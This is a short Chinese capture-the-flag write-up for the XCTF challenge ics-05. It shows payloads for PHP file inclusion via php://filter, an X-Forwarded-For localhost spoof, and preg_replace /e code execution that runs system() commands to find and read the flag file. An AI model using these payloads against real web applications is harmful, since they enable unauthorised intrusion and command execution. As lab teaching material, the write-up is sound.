攻防世界 ics-05

攻防世界 ics-05

1.进入工控云管理系统设备维护中心（其他标签点击无反应）

2.查看源码无果发现可以点击 云平台维护中心 url出现page=index

想到文件包含漏洞（URL中出现path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼）

3.利用php伪协议查看源码  出现一段base64源码，进行转码得出源码

?page=php://filter/read=convert.base64-encode/resource=index.php

base64在线解码  http://tool.chinaz.com/Tools/Base64.aspx

解码得到（简略）

4.利用pre_replace漏洞（参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行）

使用burpsuite进行抓包，设置X-Forwarded-For:127.0.0.1并构造payload得到./s3chahahaDir/flag

/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=12

5../s3chahahaDir/flag代入payload得出flag

index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123

https://www.cnblogs.com/gaonuoqi/p/11386346.html

原文地址：https://www.cnblogs.com/fdgmy/p/12012722.html